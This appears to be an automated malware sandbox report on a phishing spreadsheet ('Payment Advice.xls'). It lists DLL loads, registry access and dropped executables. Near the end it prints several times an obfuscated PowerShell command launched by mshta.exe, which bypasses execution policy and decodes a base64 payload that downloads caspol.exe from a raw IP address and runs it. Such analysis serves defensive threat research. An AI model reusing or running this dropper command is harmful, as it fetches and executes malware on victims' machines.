Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: cryptsp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	Initial sample: OLE zip file path = xl/calcChain.xml
Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	Initial sample: OLE zip file path = docProps/thumbnail.wmf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Payment Advice.xls

Static file information: File size 1136128 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.pdbhP source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.pdb source: powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.pdbhP source: powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.pdb source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp

Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Payment Advice.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

.NET source code contains potential unpacker

Source: 11.2.caspol.exe.354e230.4.raw.unpack, a6RnQjwUyOApqVRoTt.cs

.Net Code: mDY2StBQj7 System.Reflection.Assembly.Load(byte[])

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"

Suspicious powershell command line found

